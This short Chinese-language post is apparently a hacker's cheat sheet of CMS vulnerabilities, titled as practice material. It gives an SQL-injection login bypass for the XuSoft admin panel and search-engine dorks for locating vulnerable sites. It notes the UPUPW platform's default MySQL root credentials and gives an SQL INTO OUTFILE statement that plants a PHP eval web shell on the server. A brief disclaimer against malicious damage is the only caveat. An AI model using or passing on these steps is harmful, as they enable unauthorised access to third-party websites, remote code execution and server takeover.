一些CMS網站系統漏洞，練手用（持續更新）

僅供拿shell，提權測試用，請勿惡意破壞

 

XuSoft系統：

後臺萬能密碼：'or'='or'  可直接登錄，後臺地址 /manage/login.asp

inurl:ReadArticlemb.asp?id=

inurl:ReadBigClassmb.asp?id=

inurl:ReadBigClassmbNews.asp?id=

 

 

UPUPW綠色服務器平臺：

服務器基本上是2008，system權限

MySQL 默認用戶名密碼：root ，進入後臺直接執行SQL語句寫shell

PHP探針-UPUPW綠色服務器平臺KANGLE專用版

 

© 2015 WWW.UPUPW.NET 版權全部

 

sql寫shell

select '<?php @eval($_POST['geeking.cc']);?>'INTO OUTFILE 'D://upupw//htdocs//gekking.php'